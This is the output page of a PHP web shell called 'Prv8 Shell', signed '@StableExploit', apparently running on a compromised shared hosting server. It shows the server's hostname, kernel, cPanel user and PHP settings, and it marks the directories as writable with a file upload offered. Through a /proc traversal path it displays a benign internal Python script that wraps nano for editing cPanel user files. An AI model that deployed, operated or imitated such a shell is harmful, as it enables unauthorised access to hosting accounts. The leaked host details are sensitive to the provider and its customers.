Prv8 Shell
Server : Apache
System : Linux ecngx264.inmotionhosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : lonias5 ( 3576)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /proc/self/root/proc/thread-self/root/opt/tier1adv/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/thread-self/root/opt/tier1adv/bin/usernano
#!/opt/imh-python/bin/python3
"""Nano wrapper for editing /var/cpanel/users files"""
import os
import select
import argparse
import sys

sys.path.insert(0, '/opt/support/lib')
from arg_types import cpuser_safe_arg


def parse_args() -> str:
    """Parses command line arguments"""
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument('user', type=cpuser_safe_arg, help="user to edit")
    return parser.parse_args().user


def main():
    if select.select([sys.stdin], [], [], 0.0)[0]:
        sys.exit("Cannot have stdin")
    user = parse_args()
    cmd = [
        "/usr/bin/nano",
        '-o',
        '/var/cpanel/users/',
        '-l',
        f'/var/cpanel/users/{user}',
    ]
    os.execv(cmd[0], cmd)


if __name__ == "__main__":
    main()

@StableExploit - 2025